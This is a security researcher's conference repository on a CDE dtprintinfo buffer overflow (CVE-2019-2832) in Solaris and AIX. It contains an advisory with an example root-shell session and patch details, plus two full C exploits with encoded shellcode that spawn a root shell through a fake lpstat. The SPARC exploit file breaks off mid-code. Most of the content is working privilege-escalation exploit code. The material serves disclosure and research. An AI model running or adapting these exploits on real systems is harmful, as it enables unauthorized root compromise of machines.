├── LICENSE ├── README.md ├── advisory └── 2019-01-cde-dtprintinfo.txt ├── exploits ├── bas │ ├── aix_ppc_dtprintinfo.c │ └── sol_sparc_dtp.c ├── dave │ ├── dtprintinfo27.tar │ ├── dtprintinfo28.tar │ ├── nonexecdtprintinfo27.tar │ ├── nonexecdtprintinfo28.tar │ └── nonexecdtprintinfo28v12.tar.Z └── raptor │ ├── raptor_dtprintname_intel.c │ ├── raptor_dtprintname_sparc.c │ ├── raptor_dtprintname_sparc2.c │ └── raptor_dtprintname_sparc3.c ├── fuzzer └── sharefuzz1.0.tar.gz └── slides ├── abugslife.pdf └── abugslife.pptx /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 raptor 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # raptor_infiltrate19 2 | [![](https://img.shields.io/github/stars/0xdea/raptor_infiltrate19.svg?style=flat&color=yellow)](https://github.com/0xdea/raptor_infiltrate19) 3 | [![](https://img.shields.io/github/forks/0xdea/raptor_infiltrate19.svg?style=flat&color=green)](https://github.com/0xdea/raptor_infiltrate19) 4 | [![](https://img.shields.io/github/watchers/0xdea/raptor_infiltrate19.svg?style=flat&color=red)](https://github.com/0xdea/raptor_infiltrate19) 5 | [![](https://img.shields.io/badge/twitter-%400xdea-blue.svg)](https://twitter.com/0xdea) 6 | [![](https://img.shields.io/badge/mastodon-%40raptor-purple.svg)](https://infosec.exchange/@raptor) 7 | 8 | > "Sometimes, hacking is just someone spending more time on something than anyone else might reasonably expect." 9 | > 10 | > -- Jerry Gamblin 11 | 12 | This repository contains all materials related to my talk *"A bug's life: story of a Solaris 0day"* presented at #INFILTRATE19 on May 2, 2019. 13 | 14 | Related links: 15 | https://web.archive.org/web/20200518045907/https://techblog.mediaservice.net/2019/05/raptor-at-infiltrate-2019/ (blog post) 16 | https://vimeo.com/335197685 (video) 17 | 18 | ## advisory 19 | * [**2019-01-cde-dtprintinfo.txt**](https://github.com/0xdea/raptor_infiltrate19/blob/master/advisory/2019-01-cde-dtprintinfo.txt). Official advisory for the 0day local privilege escalation via CDE dtprintinfo. 20 | 21 | ## exploits 22 | * [**raptor/raptor_dtprintname_intel.c**](https://github.com/0xdea/raptor_infiltrate19/blob/master/exploits/raptor/raptor_dtprintname_intel.c). CDE dtprintinfo 0day exploit for Solaris/Intel (2019). 23 | * [**raptor/raptor_dtprintname_sparc.c**](https://github.com/0xdea/raptor_infiltrate19/blob/master/exploits/raptor/raptor_dtprintname_sparc.c). CDE dtprintinfo 0day exploit for Solaris/SPARC (2004). 24 | * [**raptor/raptor_dtprintname_sparc2.c**](https://github.com/0xdea/raptor_infiltrate19/blob/master/exploits/raptor/raptor_dtprintname_sparc2.c). CDE dtprintinfo 0day exploit for Solaris/SPARC with noexec stack (2004). 25 | * [**raptor/raptor_dtprintname_sparc3.c**](https://github.com/0xdea/raptor_infiltrate19/blob/master/exploits/raptor/raptor_dtprintname_sparc3.c). Revised CVE-2019-2832 exploit (2020). 26 | * [**dave/**\*](https://github.com/0xdea/raptor_infiltrate19/tree/master/exploits/dave). Original exploits for Solaris CDE dtprintinfo written by Dave Aitel during his time at @stake (2001). 27 | * [**bas/aix_ppc_dtprintinfo.c**](https://github.com/0xdea/raptor_infiltrate19/blob/master/exploits/bas/aix_ppc_dtprintinfo.c). A bonus exploit for IBM AIX CDE dtprintinfo (thanks for sharing this, Bas!). 28 | * [**bas/sol_sparc_dtp.c**](https://github.com/0xdea/raptor_infiltrate19/blob/master/exploits/bas/sol_sparc_dtp.c). Another CDE dtprintinfo 0day exploit for Solaris/SPARC, also courtesy of Bas. 29 | 30 | ## fuzzer 31 | * [**sharefuzz1.0.tar.gz**](https://github.com/0xdea/raptor_infiltrate19/blob/master/fuzzer/sharefuzz1.0.tar.gz). Dave's fuzzer that led to the original discovery of the vulnerability in 2001. 32 | 33 | ## slides 34 | * [**abugslife.pdf**](https://github.com/0xdea/raptor_infiltrate19/blob/master/slides/abugslife.pdf). Slide deck presented at #INFILTRATE19 (PDF version). 35 | * [**abugslife.pptx**](https://github.com/0xdea/raptor_infiltrate19/blob/master/slides/abugslife.pptx). Slide deck presented at #INFILTRATE19 (PowerPoint version). 36 | -------------------------------------------------------------------------------- /advisory/2019-01-cde-dtprintinfo.txt: -------------------------------------------------------------------------------- 1 | @Mediaservice.net (Cybaze Group) Security Advisory #2019-01 (updated on 2019-07-11) 2 | 3 | Title: Local privilege escalation via CDE dtprintinfo 4 | Application: Common Desktop Environment 2.3.0 and earlier 5 | Platforms: Oracle Solaris 10 1/13 (Update 11) and earlier 6 | Other platforms are potentially affected (see below) 7 | Description: A local attacker can gain root privileges by exploiting a 8 | buffer overflow in CDE dtprintinfo 9 | Author: Marco Ivaldi 10 | Contributor: Dave Aitel (original discovery) 11 | Vendor Status: notified on 2019-05-05 12 | notified on 2019-05-05 13 | CVE: The Common Vulnerabilities and Exposures project has assigned 14 | the name CVE-2019-2832 to this issue 15 | References: https://lab.mediaservice.net/advisory/2019-01-cde-dtprintinfo.txt 16 | https://github.com/0xdea/raptor_infiltrate19 17 | https://sourceforge.net/p/cdesktopenv/wiki/Home/ 18 | https://www.oracle.com/technetwork/server-storage/solaris10/ 19 | https://www.mediaservice.net/ 20 | https://infiltratecon.com/ 21 | 22 | 1. Abstract. 23 | 24 | A buffer overflow in the DtPrinterAction::PrintActionExists() function in the 25 | Common Desktop Environment 2.3.0 and earlier, as used in Oracle Solaris 10 1/13 26 | (Update 11) and earlier, allows local users to gain root privileges via a long 27 | printer name passed to dtprintinfo by a malicious lpstat program. 28 | 29 | Note that Oracle Solaris CDE is based on the original CDE 1.x train, which is 30 | different from the CDE 2.x codebase that was later open sourced. Most notably, 31 | the vulnerable buffer in the Oracle Solaris CDE is stack-based, while in the 32 | open source version it is heap-based. 33 | 34 | This is a 0day vulnerability demonstrated at #INFILTRATE19 on May 2nd, 2019 in 35 | the talk "A bug's life: story of a Solaris 0day". 36 | 37 | 2. Example Attack Session. 38 | 39 | bash-3.2$ cat /etc/release 40 | Oracle Solaris 10 1/13 s10x_u11wos_24a X86 41 | Copyright (c) 1983, 2013, Oracle and/or its affiliates. All rights reserved. 42 | Assembled 17 January 2013 43 | bash-3.2$ uname -a 44 | SunOS nostalgia 5.10 Generic_147148-26 i86pc i386 i86pc 45 | bash-3.2$ id 46 | uid=54322(raptor) gid=1(other) 47 | bash-3.2$ gcc raptor_dtprintname_intel.c -o raptor_dtprintname_intel -Wall 48 | bash-3.2$ ./raptor_dtprintname_intel 192.168.1.1:0 49 | raptor_dtprintname_intel.c - dtprintinfo 0day, Solaris/Intel 50 | Copyright (c) 2004-2019 Marco Ivaldi 51 | 52 | Using SI_PLATFORM : i86pc (5.10) 53 | Using stack base : 0x8047fff 54 | Using rwx_mem address : 0xfeffa004 55 | Using sc address : 0x8047f60 56 | Using strcpy() address : 0xfefe26a0 57 | 58 | lpstat called with -v 59 | lpstat called with -v 60 | lpstat called with -d 61 | # id 62 | uid=0(root) gid=1(other) 63 | 64 | 3. Affected Platforms. 65 | 66 | All platforms shipping the Common Desktop Environment are potentially affected. 67 | This includes: 68 | 69 | * Oracle Solaris 10 1/13 (Update 11) and earlier [default installation] 70 | 71 | According to the CDE Wiki, the following platforms are officially supported: 72 | 73 | * All Official Ubuntu variants 12.04 - 18.04 74 | * Debian 6, 7, 8, 9 75 | * Fedora 17 at least 76 | * Archlinux 77 | * Red Hat 78 | * Slackware 14.0 79 | * OpenBSD 80 | * NetBSD 81 | * FreeBSD 9.2, 10.x, 11.x 82 | * openSUSE Tumbleweed (gcc7) 83 | * openSUSE Leap 4.2 (gcc4) 84 | * SUSE 12 SP3 (gcc4) 85 | * Solaris, OpenIndiana 86 | 87 | 4. Fix. 88 | 89 | The maintainers of the open source CDE 2.x version have issued the following 90 | patches for this vulnerability: 91 | 92 | https://sourceforge.net/p/cdesktopenv/code/ci/30cd56ac389fbab521c52669a3bd25041d4e1df1/ 93 | https://sourceforge.net/p/cdesktopenv/code/ci/05d231606ebe3658712a36017d16ec3cc349145d/ 94 | https://sourceforge.net/p/cdesktopenv/code/ci/d59ec197e5307ad9650b6518dba67b7ef388f053/ 95 | 96 | Oracle, which maintains a different CDE codebase based on the 1.x train, has 97 | assigned the tracking# S1153109 and has released a fix for all affected and 98 | supported versions of Solaris in their Critical Patch Update (CPU) of July 99 | 2019. 100 | 101 | As a temporary workaround, it is also possible to remove the setuid bit from 102 | the dtprintinfo executable as follows: 103 | 104 | bash-3.2# chmod -s /usr/dt/bin/dtprintinfo 105 | 106 | 5. Proof of Concept. 107 | 108 | An exploit for Oracle Solaris 10 1/13 (Update 11) Intel has been developed as a 109 | proof of concept. Exploits for other Solaris versions and for the SPARC 110 | architecture are also available. All exploits can be downloaded from: 111 | 112 | https://github.com/0xdea/raptor_infiltrate19/ 113 | https://github.com/0xdea/exploits/ 114 | 115 | Copyright (c) 2019 @Mediaservice.net (Cybaze Group). All rights reserved. 116 | -------------------------------------------------------------------------------- /exploits/bas/aix_ppc_dtprintinfo.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | *** INFILTRATE2019 raptor party pack release *** 4 | 5 | dtprintinfo LPE for AIX 5.X 6 | 7 | disclaimer: this code is very old and hasn't been compiled in a minute ;) 8 | 9 | ... 10 | 11 | $ Xvfb -ac :2 12 | 13 | ... 14 | 15 | (aix 5.2) $ ./aix 192.168.1.100:2 16 | [+] Found SYS_execve as 5 17 | [+] Found SYS_setuid as 202 18 | [+] Found SYS_sync as 248 19 | [+] loading payload into enviroment ... 20 | [+] Found SYS_execve as 5 21 | [+] Found SYS_setuid as 202 22 | [+] Found SYS_sync as 248 23 | [+] got payload in environment ... 2ff22ed8 (auto-align: 4) 24 | # 25 | 26 | Love, 27 | Bas 28 | 29 | */ 30 | 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | 39 | /* payloads */ 40 | #define OFF_SYS_SYNC 27 41 | #define OFF_SYS_SETUID 75 42 | #define OFF_SYS_EXECVE 111 43 | 44 | /* xfocus AIX 5.1 ppc decoder .. modified to include setuid(0) and use SYS_sync #224 */ 45 | unsigned char shellcode_universal[] = 46 | // decoder 47 | "\x7d\xce\x72\x79" // xor. %r14, %r14, %r14 48 | "\x40\x82\xff\xfd" // bnel .main 49 | "\x7d\xe8\x02\xa6" // mflr %r15 50 | "\x39\xef\x01\x01" // addi %r15, %r15, 0x101 51 | "\x39\xef\xff\x37" // addi %r15, %r15, -0xC9 # r15 point to start of real shellcode 52 | "\x3a\x20\x01\x01" // li %r17, 0x101 53 | "\x38\x51\xff\xdf" // addi %r2, %r17, -0x1F # r2=0xe2 syscall number of sync. (0xe0 on mine! -bas) 54 | "\x3a\x31\xff\x47" // addi %r17, %r17, -0xD1 # shellcode size (modified to include setuid! -bas) 55 | 56 | "\x7e\x51\x78\xae" // lbzx %r18, %r17, %r15 # read a character 57 | "\x6a\x53\xfe\xfe" // xori %r19, %r18, 0xFEFE # xor 58 | "\x7e\x71\x79\xae" // stbx %r19, %r17, %r15 # store a character 59 | "\x36\x31\xff\xff" // subic. %r17, %r17, 1 60 | "\x40\x80\xff\xf0" // bne Loop # loop 61 | 62 | "\x4c\xc6\x33\x42" // crorc %cr6, %cr6, %cr6 63 | "\x7d\xe8\x03\xa6" // mtlr %r15 # lr=real shellcode address 64 | "\x44\xff\xff\x02" // svca 0 65 | 66 | // ^ 0xfe encoded real shellcode 67 | #ifdef __DEBUG__ 68 | "\x81\x1e\xfe\xf6" // trap 69 | #else 70 | // added setuid(0) .. SYS_setuid of 179 -bas 71 | "\xc7\x11\xfe\xe6" // addi 15,15,24 # adjust r15 to point to the execve 72 | "\x82\x9d\xe4\x86" // xor 3,3,3 73 | "\xc6\xbe\xfe\x4d" // lil 2,179 74 | "\xb2\x38\xcd\xbc" // crorc 6,6,6 75 | "\x83\x16\xfd\x58" // mtlr 15 # so that setuid returns to execve in link register 76 | "\xba\xfe\xfe\xfc" // svca 0 77 | 78 | // execve /bin/sh 79 | "\xc6\x91\xfe\xde" // addi %r3, %r15, 32 80 | "\x6e\x9f\x01\x06" // stw %r3, -8(%r1) 81 | "\x83\x3b\x8d\x86" // mr %r5, %r14 82 | "\x6e\x5f\x01\x02" // stw %r5, -4(%r1) 83 | "\xc6\x7f\x01\x06" // subi %r4, %r1, 8 84 | "\xc6\xbe\xfe\xfb" // li %r2, 5 85 | "\xb2\x38\xcd\xbc" // crorc %cr6, %cr6, %cr6 86 | "\xba\xfe\xfe\xfc" // svca 0 87 | "\xd1\x9c\x97\x90" // .byte '/', 'b', 'i', 'n', 88 | "\xd1\x8d\x96\xfe" // '/', 's', 'h', 0x0 89 | #endif 90 | ; 91 | 92 | typedef struct prsyscall 93 | { 94 | uint32_t pr_number; /* syscall number */ 95 | uint32_t pr_nameoff; /* offset into sysent file to 96 | * null terminated syscall name */ 97 | uint32_t pr__pad[6]; /* reserved for future use */ 98 | } prsyscall_t; 99 | 100 | typedef struct prsysent /* this struct at offset 0 in sysent file */ 101 | { 102 | uint64_t pr__pad[8]; /* reserved for future use */ 103 | uint32_t pr__pad1; /* reserved for future use */ 104 | uint32_t pr_nsyscalls; /* number of entries in prsyscall array */ 105 | prsyscall_t pr_syscall[1]; /* array of syscalls */ 106 | } prsysent_t; 107 | 108 | struct syscall { 109 | int number; 110 | int offset; 111 | }; 112 | 113 | unsigned char * 114 | check_syscall(void) 115 | { 116 | char filename[256]; 117 | int pid, fd; 118 | prsysent_t myprsysent; 119 | prsyscall_t myprsyscall; 120 | struct syscall syscall_array[1024]; 121 | unsigned int num, i; 122 | FILE *file; 123 | unsigned int SYS_sync = 0; 124 | unsigned int SYS_setuid = 0; 125 | unsigned int SYS_execve = 0; 126 | 127 | pid = getpid(); 128 | sprintf(filename, "/proc/%d/sysent", pid); 129 | fd = open(filename, O_RDONLY); 130 | if (fd == -1) 131 | { 132 | perror("open"); 133 | exit(1); 134 | } 135 | i = read(fd, &myprsysent, sizeof(myprsysent)); 136 | num = myprsysent.pr_nsyscalls; 137 | if (num > sizeof(syscall_array)/sizeof(struct syscall)) 138 | { 139 | perror("array size"); 140 | close(fd); 141 | exit(1); 142 | } 143 | syscall_array[0].number = myprsysent.pr_syscall[0].pr_number; 144 | syscall_array[0].offset = myprsysent.pr_syscall[0].pr_nameoff; 145 | for (i=1; i < num; i++) 146 | { 147 | read(fd, &myprsyscall, sizeof(myprsyscall)); 148 | syscall_array[i].number = myprsyscall.pr_number; 149 | syscall_array[i].offset = myprsyscall.pr_nameoff; 150 | } 151 | close(fd); 152 | file = fopen(filename, "rb"); 153 | if (!file) 154 | { 155 | perror("fopen"); 156 | exit(1); 157 | } 158 | for (i=0; i < num; i++) 159 | { 160 | char syscall_name[0x4000]; 161 | 162 | fseek(file, syscall_array[i].offset, SEEK_SET); 163 | fscanf(file, "%s", syscall_name); 164 | if (!strcmp("sync", syscall_name)) 165 | { 166 | SYS_sync = syscall_array[i].number; 167 | printf("[+] Found SYS_sync as %d\n", SYS_sync); 168 | } 169 | else if (!strcmp("setuid", syscall_name)) 170 | { 171 | SYS_setuid = syscall_array[i].number; 172 | printf("[+] Found SYS_setuid as %d\n", SYS_setuid); 173 | } 174 | else if (!strcmp("execve", syscall_name)) 175 | { 176 | SYS_execve = syscall_array[i].number; 177 | printf("[+] Found SYS_execve as %d\n", SYS_execve); 178 | } 179 | } 180 | fclose(file); 181 | if (!SYS_sync || !SYS_setuid || !SYS_execve) 182 | { 183 | perror("syscalls"); 184 | exit(1); 185 | } 186 | 187 | /* patch up payload with right syscalls */ 188 | shellcode_universal[OFF_SYS_SYNC] = (char)SYS_sync - 1; 189 | shellcode_universal[OFF_SYS_SETUID] = (char)SYS_setuid ^ 0xfe; 190 | shellcode_universal[OFF_SYS_EXECVE] = (char)SYS_execve ^ 0xfe; 191 | 192 | return shellcode_universal; 193 | } 194 | 195 | /* exploit routines */ 196 | 197 | void 198 | fake_lsallq(int argc, char **argv, char *buf) 199 | { 200 | printf("%s\n", buf); 201 | } 202 | 203 | #define FF_DWORDS 6 204 | #define FF_PAD 64 /* prepad to frame */ 205 | #define ALIGN 0 206 | #define DT_PATH "/usr/dt/bin/dtprintinfo" 207 | 208 | int 209 | main(int argc, char **argv) 210 | { 211 | unsigned char buf[ALIGN + FF_PAD + FF_DWORDS * sizeof(unsigned int) + 1]; 212 | unsigned int fake_frame[FF_DWORDS]; 213 | unsigned char lr_env[128]; 214 | unsigned char sc_env[256]; 215 | unsigned char dp_env[128]; 216 | unsigned char *p; 217 | unsigned char *sc; 218 | int i; 219 | 220 | char *env[6]; 221 | 222 | /* exploit mode */ 223 | if (!strcmp(argv[0], "lsallq")) 224 | { 225 | p = buf; 226 | 227 | memset(buf, 0x00, sizeof(buf)); 228 | 229 | fake_frame[0] = 0x41414141; 230 | fake_frame[1] = 0x42424242; 231 | fake_frame[2] = (unsigned int)strtol(getenv("LR"), NULL, 16); 232 | fake_frame[3] = 0x44444444; 233 | fake_frame[4] = 0x45454545; 234 | fake_frame[5] = 0x46464646; 235 | 236 | memset(p, 'A', ALIGN); 237 | p += ALIGN; 238 | 239 | memset(p, 'P', FF_PAD); 240 | p += FF_PAD; 241 | 242 | for (i = 0; i < FF_DWORDS; i ++) 243 | { 244 | memcpy(p, &fake_frame[i], sizeof(unsigned int)); 245 | p += 4; 246 | } 247 | 248 | fake_lsallq(argc, argv, buf); 249 | exit(0); 250 | } 251 | 252 | if (argc == 1) 253 | { 254 | fprintf(stderr, "usage: %s xserver:display\n", argv[0]); 255 | exit(1); 256 | } 257 | else 258 | { 259 | sc = check_syscall(); 260 | if (!sc) 261 | exit(1); 262 | } 263 | 264 | sprintf(dp_env, "DISPLAY=%s", argv[1]); 265 | env[0] = dp_env; 266 | env[1] = "PATH=.:/usr/bin"; 267 | env[2] = "HOME=/tmp"; 268 | sprintf(sc_env, "MYSHELL=AAAA%s", sc); /* A's so we can shift to align on re-exec */ 269 | env[3] = sc_env; 270 | sprintf(lr_env, "LR=0x41424344"); 271 | env[4] = lr_env; 272 | env[5] = NULL; 273 | 274 | if (!getenv("MYSHELL")) 275 | { 276 | /* reexec with payload in environment */ 277 | printf("[+] loading payload into enviroment ...\n"); 278 | execve(argv[0], argv, env); 279 | } 280 | else 281 | { 282 | p = getenv("MYSHELL"); 283 | int align = 4 - ((unsigned int)p % 4); 284 | 285 | printf("[+] got payload in environment ... %x (auto-align: %d)\n", (unsigned int)p, align); 286 | 287 | /* align the payload mod 4 */ 288 | memset(sc_env, 0x00, sizeof(sc_env)); 289 | strcat(sc_env, "MYSHELL="); 290 | for(i = 0; i < align; i ++) 291 | strcat(sc_env, "A"); 292 | strcat(sc_env, sc); 293 | for(i = 0; i < 4 - align; i ++) 294 | strcat(sc_env, "A"); 295 | 296 | /* pass the correct link register value */ 297 | sprintf(lr_env, "LR=0x%.8x", (unsigned int)p + align); 298 | 299 | symlink(argv[0], "lsallq"); 300 | 301 | /* supply the same argv so env layout stays same */ 302 | execve(DT_PATH, argv, env); 303 | } 304 | 305 | fprintf(stderr, "[+] failed to execve: %s\n", DT_PATH); 306 | exit(1); 307 | } 308 | -------------------------------------------------------------------------------- /exploits/bas/sol_sparc_dtp.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | -bash-3.00$ ./dtsparc 192.168.1.100:2 4 | [+] Re-executing with polluted environment ... 5 | [+] Aligning bits and bobs to match target stack layout ... 6 | [+] Prepping Fake Frame ... 7 | [+] Searching for RWX mem in child: 9384 8 | [+] Located RWX address @ 0xff3f6010 9 | [+] Payload src @ ffbfff7e 10 | [+] Fake Frame located @ ffbfff26, aligned: ffbfff28 11 | [+] R_STACK(x_frame): ffbfeffc 12 | [+] Resolved sprintf @ ff3c833c 13 | [+] Fake Frame located @ ffbfff26, aligned: ffbfff28 14 | [+] R_STACK(x_frame): ffbfeffc 15 | [+] Resolved sprintf @ ff3c833c 16 | ... 17 | # echo "Hello darkness my old friend ..." 18 | Hello darkness my old friend ... 19 | # uname -a 20 | SunOS lunar 5.10 Generic_120011-14 sun4u sparc SUNW,Ultra-5_10 21 | # exit 22 | 23 | Love, 24 | Bas 25 | 26 | */ 27 | 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | 43 | #define FF_OFF 188 /* offset to targeted saved register window */ 44 | #define PT_OFF 172 /* offset to ptr deref */ 45 | 46 | /* macro to grab some read/write safe stack addie */ 47 | #define R_STACK(x) ((((int)x | 0xffff) & 0xfffffffc) - 0x5000) 48 | 49 | #define DT_BIN "/usr/dt/bin/dtprintinfo" 50 | 51 | /* we're going through an sprintf so this can't have percent */ 52 | uint8_t payload[] = { 53 | /* 0x91, 0xd0, 0x20, 0x01, */ /* ta 1 */ 54 | 0x90, 0x08, 0x3f, 0xff, 55 | 0x82, 0x10, 0x20, 0x17, 56 | 0x91, 0xd0, 0x20, 0x08, 57 | 0x20, 0xbf, 0xff, 0xff, 58 | 0x20, 0xbf, 0xff, 0xff, 59 | 0x7f, 0xff, 0xff, 0xff, 60 | 0x90, 0x03, 0xe0, 0x20, 61 | 0x92, 0x02, 0x20, 0x10, 62 | 0xc0, 0x22, 0x20, 0x08, 63 | 0xd0, 0x22, 0x20, 0x10, 64 | 0xc0, 0x22, 0x20, 0x14, 65 | 0x82, 0x10, 0x20, 0x0b, 66 | 0x91, 0xd0, 0x20, 0x08, 67 | '/', 'b', 'i', 'n', 68 | '/', 'k', 's', 'h', 69 | /* for sprintf termination */ 70 | 0x00 71 | }; 72 | 73 | uint32_t resolve_sprintf(void) 74 | { 75 | void *h; 76 | Link_map *linkmap; 77 | uint32_t a; 78 | 79 | if (!(h = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY))) 80 | { 81 | fprintf(stderr, "[-] Could not open LM_ID_LDSO ...\n"); 82 | return 0; 83 | } 84 | if (dlinfo(h, RTLD_DI_LINKMAP, &linkmap) == -1) 85 | { 86 | fprintf(stderr, "[-] Could not get linkmap ...\n"); 87 | return 0; 88 | } 89 | if (!(a = (uint32_t)dlsym(h, "sprintf"))) 90 | { 91 | fprintf(stderr, "[-] Could not locate sprintf ...\n"); 92 | return 0; 93 | } 94 | dlclose(h); 95 | 96 | fprintf(stderr, "[+] Resolved sprintf @ %.8x\n", a); 97 | 98 | return a; 99 | } 100 | 101 | uint32_t locate_rwx(void) 102 | { 103 | int fd; 104 | prmap_t map; 105 | uint32_t a = 0, last_a = 0; 106 | char proc[32]; 107 | pid_t child; 108 | 109 | if (!(child = fork())) 110 | { 111 | char *exec[] = { DT_BIN, NULL }; 112 | 113 | /* get a suspended child we can map */ 114 | ptrace(0, 0, NULL, NULL); 115 | execve(exec[0], exec, NULL); 116 | 117 | fprintf(stderr, "[-] Merde!\n"); 118 | 119 | exit(0); 120 | } 121 | else 122 | { 123 | int status; 124 | 125 | wait(&status); 126 | 127 | fprintf(stderr, "[+] Searching for RWX mem in child: %d\n", child); 128 | 129 | sprintf(proc, "/proc/%d/map", child); 130 | if ((fd = open(proc, O_RDONLY)) == -1) 131 | { 132 | fprintf(stderr, "[-] Could not open: %s\n", proc); 133 | return 0; 134 | } 135 | while (read(fd, &map, sizeof(map))) 136 | { 137 | if (map.pr_vaddr) 138 | if (map.pr_mflags & (MA_READ|MA_WRITE|MA_EXEC)) 139 | { 140 | last_a = a; 141 | a = map.pr_vaddr; 142 | } 143 | } 144 | close(fd); 145 | 146 | /* clear nul bytes from low word if needed */ 147 | if (!(last_a & 0x00ff)) 148 | last_a |= 0x0010; /* 0x10 cuz will likely be -8'd for ret */ 149 | if (!(last_a & 0xff00)) 150 | last_a |= 0x0800; 151 | 152 | fprintf(stderr, "[+] Located RWX address @ 0x%.8x\n", last_a); 153 | 154 | kill(child, SIGSTOP); 155 | } 156 | 157 | return last_a; 158 | } 159 | 160 | int 161 | main(int argc, char **argv, char **envp) 162 | { 163 | char f_frame[4 + 4 + 64 + 1]; /* l0-l7, i0-i7 */ 164 | char f_loc_buf[14 + 1]; 165 | char s_buf[sizeof(payload) + 4]; 166 | char d_buf[256]; 167 | char *x_env[] = { "PATH=.:/usr/bin", "HOME=/tmp", (char *)f_frame, f_loc_buf, s_buf, d_buf, NULL }; 168 | char *x_tgt[] = { DT_BIN, NULL }; 169 | char e_align[256]; /* use this to keep our reexec env aligned */ 170 | 171 | /* we needs a valid x-server to talks to */ 172 | if (argc != 2 && !getenv("FFF")) 173 | { 174 | printf("Usage: %s \ne.g. %s 127.0.0.1:2\n", argv[0], argv[0]); 175 | return 0; 176 | } 177 | else if (argv[1] && !getenv("FFF")) 178 | snprintf(d_buf, sizeof(d_buf) - 1, "DISPLAY=%s", argv[1]); 179 | 180 | if (!strcmp(argv[0], "lpstat")) /* xploit mode */ 181 | { 182 | uint32_t x_frame[16]; /* l0-l7, i0-i7 */ 183 | char x_buf[FF_OFF + sizeof(x_frame) + 1]; 184 | uint32_t f_loc, a_sprintf; 185 | char *p_loc; 186 | int i; 187 | 188 | fprintf(stderr, "[+] Fake lpstat called as:"); 189 | for (i = 0; argv[i]; i ++) 190 | fprintf(stderr, " %s", argv[i]); 191 | fprintf(stderr, "\n"); 192 | 193 | if (!(p_loc = getenv("FFL"))) 194 | { 195 | fprintf(stderr, "[-] Could not locate fake frame loc in environment ...\n"); 196 | return 1; 197 | } 198 | 199 | f_loc = strtoul(p_loc, NULL, 16); 200 | 201 | fprintf(stderr, "[+] Fake Frame located @ %.8x, aligned: %.8x\n", f_loc, f_loc + (4 - (f_loc % 4))); 202 | fprintf(stderr, "[+] R_STACK(x_frame): %.8x\n", R_STACK(x_frame)); 203 | 204 | memset(x_buf, 'P', sizeof(x_buf)); 205 | 206 | *(uint32_t *)&x_buf[PT_OFF] = R_STACK(x_frame); /* survive i0 deref: 0x26c64 <__0fFDtAppMUpdateQueuesv+2556>: ld [ %i0 ], %o0 */ 207 | 208 | /* ret2sprintf, provide fake frame from restore through fp control */ 209 | a_sprintf = resolve_sprintf(); 210 | if (!a_sprintf) 211 | return 1; 212 | 213 | /* l0-l7 */ 214 | x_frame[0] = 0x41414141; /* local 0 */ 215 | x_frame[1] = 0x42424242; /* local 1 */ 216 | x_frame[2] = 0x43434343; /* local 2 */ 217 | x_frame[3] = 0x44444444; /* local 3 */ 218 | x_frame[4] = 0x45454545; /* local 4 */ 219 | x_frame[5] = 0x46464646; /* local 5 */ 220 | x_frame[6] = 0x47474747; /* local 6 */ 221 | x_frame[7] = 0x48484848; /* local 7 */ 222 | /* i0-i7 */ 223 | x_frame[8] = R_STACK(x_frame); /* incoming parameter 0 / ret val */ 224 | x_frame[9] = 0x50505050; /* incoming parameter 1 */ 225 | x_frame[10] = 0x51515151; /* incoming parameter 2 */ 226 | x_frame[11] = 0x52525252; /* incoming parameter 3 */ 227 | x_frame[12] = 0x53535353; /* incoming parameter 4 */ 228 | x_frame[13] = 0x54545454; /* incoming parameter 5 */ 229 | x_frame[14] = f_loc + (4 - f_loc % 4); /* frame pointer: restore our fake ret2libc frame from here */ 230 | x_frame[15] = a_sprintf - 8 + 4; /* return address - 8 (ret == jmpl %i7 + 8), + 4 to skip the save */ 231 | 232 | memcpy(x_buf + FF_OFF, x_frame, sizeof(x_frame)); 233 | 234 | x_buf[sizeof(x_buf)-1] = 0x00; 235 | 236 | if (!strcmp(argv[1], "-v")) 237 | printf("device for %s: /dev/null\n", x_buf); 238 | else 239 | if (!strcmp(argv[1], "-d")) 240 | { 241 | struct stat buf; 242 | 243 | /* cleanup after ourselves */ 244 | e_align[0] = 0x00; 245 | while (strlen(e_align) < strlen(DT_BIN)) 246 | strcat(e_align, "A"); 247 | unlink(e_align); 248 | unlink("lpstat"); 249 | 250 | /* check for dtprintinfo cores */ 251 | if (stat("/core", &buf) != -1) 252 | fprintf(stderr, "[!] /core exists, clean up after yourself sloppy Joe!\n"); 253 | 254 | /* trigger ovf */ 255 | printf("system default destination: %s\n", x_buf); 256 | } 257 | 258 | return 0; 259 | } 260 | else 261 | if (getenv("FFF") && getenv("PLS") && getenv("DISPLAY")) /* fix up our frame with target info and go go go */ 262 | { 263 | char *p_frame, *s_loc; 264 | uint32_t fp[16], a_rwx; 265 | 266 | /* pass through the correct frame loc from our mock stack layout */ 267 | p_frame = getenv("FFF"); /* fake frame */ 268 | sprintf(f_loc_buf, "FFL=0x%.8x", (uint32_t)p_frame); 269 | 270 | s_loc = getenv("PLS"); /*payload src */ 271 | sprintf(s_buf, "PLS=%s", payload); /* reset payload env */ 272 | 273 | /* migrate over our target display */ 